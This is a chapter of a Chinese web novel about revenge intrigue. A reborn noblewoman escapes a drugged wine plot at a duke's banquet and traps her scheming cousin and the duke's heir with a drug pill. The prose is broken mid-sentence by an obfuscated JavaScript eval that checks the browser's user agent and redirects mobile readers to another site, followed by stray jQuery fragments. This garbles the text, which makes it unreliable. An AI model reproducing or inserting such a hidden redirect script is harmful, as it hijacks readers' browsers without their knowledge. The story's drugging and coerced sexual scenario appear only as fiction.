崔燕燕在婢女的指引下落座,位置刚好与韦彤相邻。


    崔燕燕仔细观察了桌上的摆设,见菜已经上齐,面前的酒杯也已斟满。


    她抬眸看向隔壁主桌,刚刚去传话的婆子已经来到国公夫人旁,轻声低语着什么。


    待那婆子停止说话,国公夫人脸上的笑意险些维持不住,她目光四处打量一番,正好与崔燕燕视线相撞。


    崔燕燕微微垂眸,不停转动着手中的茶杯,看着杯中茶汤泛起的层层波纹,嘴角弧度微微上扬。


    她那前世人前温和、人后恶毒的好婆母,此刻应该非常恼怒吧。亲自教养出这么一个娇蛮任性、不知礼数的姑娘,恐怕就连整个国公府都要遭人诟病了。


    而她那心尖尖上的女儿,以后怕也再难说到什么好的亲事了。


    蓦地一只手拽了下她的衣袖,崔燕燕回头看去,是一旁坐着的韦彤表妹。


    崔燕燕将袖子收回,还象征性地掸了几下,好似沾上了什么晦气的东西一般,随意开口道:“有事?”


    她可不觉得经过上次梅苑那件事情后,两人之间还有什么姐妹情谊存在。现在还能坐在一起吃饭,不过是维持面子情罢了。


    韦彤手指微缩,有些尴尬地笑了笑,“燕表姐可是还在生我哥的气?哥哥已经受到惩罚了,你若是还生他的气,不如我替他给你赔罪。”


    她有些紧张地端起酒杯,视线却不停望向崔燕燕面前的酒杯,眼神里透着期待。


    在看到崔燕燕并未拿起酒杯时,转过头一脸委屈地看向老夫人,“外祖母,我都主动认错示好了,燕表姐还是不肯原谅我和哥哥。”


    老夫人直接命令道:“燕丫头,这是在外面,注意分寸。既然彤儿已经知道错了,你身为姐姐,应该给她一个改正的机会。”


    三人之间的对话虽说声音不大,却还是引起了同桌其他夫人的注意。


    其中一位圆脸夫人,笑着附和道:“就是,姐妹之间闹些小矛盾,道个歉就过去了。”


    说话之人是齐御史的夫人,平常热衷于各个家族里的流言八卦,但凡要是被她知道些什么不得了的内幕,到了第二天就传得京城人尽皆知了。


    崔燕燕捕捉到齐夫人眼底的探究八卦之色,嘴角微微抽搐。


    韦彤见此情景,心里的紧张感渐渐退散,她再次朝崔燕燕举起酒杯。


    崔燕燕在众人的注目下,缓缓拿起酒杯,与韦彤轻轻碰杯,意味深长道:“希望彤表妹,是真的知道错了。”


    韦彤紧紧盯着被崔燕燕握在手中的酒杯,脸上笑意深了几分,“当然了,我真的知道错了。”说着将杯中酒一饮而尽。


    崔燕燕垂眸看向手中的酒水,韦彤以为自己掩饰的很好,如果是前世的自己,还真有可能会被骗。


    只是可惜,她早已不是从前的崔燕燕了。


    她右手举起酒杯放到唇边,左手袖子微微抬高,只让众人能看到酒杯。


    韦彤看到她手中空空的酒杯时,悬着的心彻底放了下来。为了掩饰自己的得意,她忙低下头专心吃起了菜。


    崔燕燕则趁着无人注意的间隙,偷偷将手中有些湿润的帕子递给身后的紫草,也开始享用美食。


    紫草有些不明所以,却也知道现在不是询问的时候,只小心将帕子收好。


    在后面的一段时间里,韦彤频频向崔燕燕看去,眼底疑惑渐增。


    父亲只是说让她想办法,逼崔燕燕喝下那杯酒,等她出现不适的时候就扶她去客房,却没有告诉她酒里添加了什么。


    难道下的不是迷药吗?还是国公府这边出了岔子,并没有在酒水中添加东西?韦彤的困惑不解,通通被崔燕燕看在眼里。


    她唇角勾了一抹冷笑,假装手微微抖了一下,筷子上的四喜丸子直接掉落在韦彤的衣裙上,衣服上立刻沾上汁液。


    崔燕燕忙放下手中的筷子,作势扶了扶脑袋,身子还微微晃了晃,“对不起啊,彤表妹。我刚刚不知怎的,觉得有些头晕,这才一时手滑,弄脏了你的衣服。”


    韦彤本来有些恼怒,这裙子可是她为了参加宴会特意做的,今日还是第一次穿。而在听到崔燕燕说头晕的时候,又立刻喜上眉梢,看来酒里的药开始起作用了。


    她忙笑着摇摇头,一把挤开正准备搀扶崔燕燕的紫草,一脸殷勤:“表姐既然不舒服,那我扶表姐去客房休息一下,我顺便也换身衣服。”


    两人这边的动静引起了国公夫人那边的注意,她眼神微眯,看向身旁的婢女一眼,那婢女领会了夫人的意思,抬脚向崔燕燕这边走来。


    那婢女来到两人身侧,恭敬道:“奴婢采莲,夫人让我带两位小姐去客房更衣,还请这边走。”


    崔燕燕假装有些站不稳,将整个身体都压在韦彤身上。


    韦彤一下子没撑住,差点当众倒了下去,还好采莲及时扶住她。


    在采莲的带路下,崔燕燕、韦彤两人带着各自婢女向后院客房走去。


    在半道上,因为采莲的提醒,韦彤让她的婢女和紫草去门口的马车上拿带过来的备用衣裳去了,崔燕燕也没有出言阻拦。


    等几人来到客房时,却只有崔燕燕、韦彤和采莲三人。在来客房的路上,崔燕燕就发现了异常。


    前世她在这国公府生活了五年多的时间,对这里的地形早已熟悉。采莲要带她们去的那间客房,离今日宴请男客的前厅很近。


    此时她的心里已经有了一些猜测,为了不被人发现,干脆眼一闭假装晕了过去。


    看到晕过去的崔燕燕,韦彤被吓了一跳,忙看向采莲。


    采莲神色淡定,把崔燕燕小心放倒在床上,对韦彤叮嘱道:“郡主现在晕了过去,短时间不会醒过来。韦小姐,你今天做的很好,奴婢带你去另一间客房更衣吧。”


    韦彤有些犹豫,她看了眼不省人事的崔燕燕,试探道:“不知国公府,会对我燕表姐做什么?”


    “怎么?韦小姐良心发现了?”采莲好笑地看着韦彤,见她一脸恼怒,冷


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17002530|192396||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    声提醒道:“韦小姐知道的越少,对你越好。”


    采莲也不再催促韦彤离开,而是将屋中的香炉点燃,炉内青烟袅袅,飘散着有些腻人的香气。


    她好心提醒道:“韦小姐,我劝你还是尽快离开,若是待得久了,后面会发生什么,奴婢可就不知道了。”


    说着也不等韦彤反应,径直离开了屋子,直直朝着前厅走去,她还要把这边的消息尽快告诉世子爷。


    韦彤眼里有着一瞬间的挣扎,却在想到母亲被禁足、自己被戒尺打、哥哥还在牢里生死不知的时候,眼神逐渐阴狠。


    她踱步来到床前,居高临下地看着昏迷不醒的崔燕燕,怜悯道:“燕表姐,你可不要怪我,这都是你自找的,谁让你得罪那么多人呢?就连护国公府都要针对你。”


    躺在床上的崔燕燕突然睁开眼睛,唇角微勾:“是吗?”


    ……


    半刻钟后,崔燕燕看着床上已经晕过去的韦彤,低声道:“好表妹,如果事情真是按照我猜测的那样,你可能还要感谢我呢!”


    崔燕燕伸手拿过被子,将韦彤的脸遮住大半,随后再将床幔放下,让人看不清里面那人的模样。


    待准备离开时,看到桌子上正燃着的香炉,从腰间的香囊中拿出一粒红色药丸丢进去,“叶泽,这是我送你的第一份大礼,不用谢!”


    离开客房将门关好,她在客房外找了个隐蔽的角落藏身,准备验证自己的猜想。


    此时国公府前厅,叶泽在收到采莲传过来的消息后,找了个借口就起身离开,直直向后院客房而去。


    崔燕燕在角落里蹲得腿脚都有些发麻了,才听到不远处传来的脚步声,待人走近,赫然正是国公府世子–––叶泽。


    崔燕燕的眼神瞬间冷了下来,叶泽的无耻,再次刷新了她对他的认知。


    可能是对自己的绝对自信,他一心专注着向客房走去,没有去注意客房外的动静。


    待看到叶泽进入客房并将门关上后,崔燕燕拿起一旁早就准备好了的木棍,快步来到门外,将木棍插入门环中,双手死死握紧木棍两头,不让里面的人有机会跑出来。


    不知是她太过高估了叶泽的意志力,还是低估了师姐给的药丸,叶泽进去不过片刻,竟连半分挣扎都没有,里面就传来了令人面红耳赤的声音。


    为了保险起见,崔燕燕还是多等了半盏茶时间,见里面的声音越发不堪入耳后,这才抽出木棍转身离去。


    今日国公府宴请了这么多宾客,而且还有那位齐夫人在,这件事情,国公府想瞒也瞒不住的。


    在崔燕燕没有注意到的地方,其实一直有一人在后面偷偷窥视。


    在确定崔燕燕离开后,那人不停绞着手里的帕子,内心做着激烈的挣扎。


    最后在想到家里的柔弱的姨娘、恶毒的嫡母、毫无作为的父亲,她抬眸看向那间客房,脚步坚定地走了进去。


    她不会后悔,也不能后悔,这是她距离挣脱命运最近的一次!